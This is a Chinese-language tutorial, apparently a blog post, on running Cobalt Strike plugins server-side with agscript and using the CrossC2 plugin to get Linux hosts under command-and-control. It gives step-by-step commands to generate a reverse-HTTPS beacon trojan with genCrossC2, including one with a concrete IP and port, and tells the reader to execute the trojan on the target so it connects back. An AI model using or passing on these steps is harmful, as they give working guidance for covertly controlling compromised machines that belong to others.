CS加载插件及其上线linux主机
0x01 加载插件
1、本地加载插件
2、服务端加载插件
CobaltStrike服务器端有个 agscript文件,他是用来在服务器端运行cna插件文件的
./agscript [host] [port] [user] [pass] </path/to/file.cna>
[host] # cs服务器的ip地址
[port] # cs的端口号
[user] # 用户名,用来运行这个脚本的用户名,任意。
[pass] # cs的密码,就是启动cs时你设置的密码。
[path] # cna文件的路径。
后台运行
nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 & nohup.out
nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 >>nohup1.out &
0x02 使用CrossC2插件上线linux主机
CS默认是不支持上线linux主机的 , 但是可以通过安装CrossC2插件实现,因为一些原因,目前强制只支持HTTPS beacon
中文使官方用教程:https://github.com/gloxec/CrossC2/blob/cs4.1/README_zh_full.md
1、下载所需要的文件
1)下载CrossC2
目前最新版本为v3.1.0,由于新版的这个插件我不知道好不好使,自测3.0.2版本成功,下载:https://github.com/gloxec/CrossC2/releases/tag/v3.0.2
2)下载服务端key文件
我们还需要下载一个.cobaltstrike.beacon_keys文件,该文件在CS服务端上,默认是隐藏了,ls -a可以看见,这个文件很重要,是CS的密钥文件,因为CrossC2插件仅支持 reverse_https协议,我们需要将其下载下来,下载到windows上面,发现该文件前面的 "." 没有了,这是个小细节
3)整理
新建CrossC2_v3.0.2文件夹,将前面下载下来的所有文件解压放在里面,建议将CrossC2_v3.0.2文件夹放在CS的scripts目录下。下面是我的目录结构展示
2、安装及配置插件
下面我演示windows客户端的修改,其他系统类似
1)修改cna插件
修改$CC2_PATH,对应本地存放的CrossC2路径,注意路径末尾还需要一个 /,windows是双反斜杠
修改$CC2_BIN 为payload生成程序,$CC2_BIN 是配置客户端类型,一定不能选错,选错了CS无法成功安装CrossC2插件
2)加载cna 脚本
这就很简单了,本地加载该插件,在CS客户端直接导入该cna文件,加载完成后CS客户端的菜单栏就会有CrossC2的选项卡
3、上线linux主机
1)创建监听器
CrossC2只支持生成Beacon HTTPS的payload,选择其他都会无法上线
2)生成payload
使用插件生成木马文件,点击功能栏的CrossC2模块生成监听器,选择https类型
然后配置好监听端口、监听器、beacon_keys文件路径、目标主机系统类型、木马的输出路径,生成payload之前先uname -a查看目标机器的系统内核版本,生成 对应的版本,不然会无法上线
如果上面的图像化突然不好使了,可以尝试下面的手动输入命令生成
# linux客户端生成shell
./genCrossC2.Linux [vps_ip] [port] ./.cobaltstrike.beacon_keys null Linux x64 ./shell.out stager
./genCrossC2.Linux 123.57.155.161 5645 ./.cobaltstrike.beacon_keys null Linux x64 ./shell.out stager
# windows客户端生成payload,注意此时的beacon_keys前面没有".",前面说的小细节
./genCrossC2.Win.exe [vps_ip] [port] ./cobaltstrike.beacon_keys null Linux x64 ./shell.out stager
3)上线Linux主机
将上面生成的木马文件在目标linux机器中赋予权限并执行,CS就会上线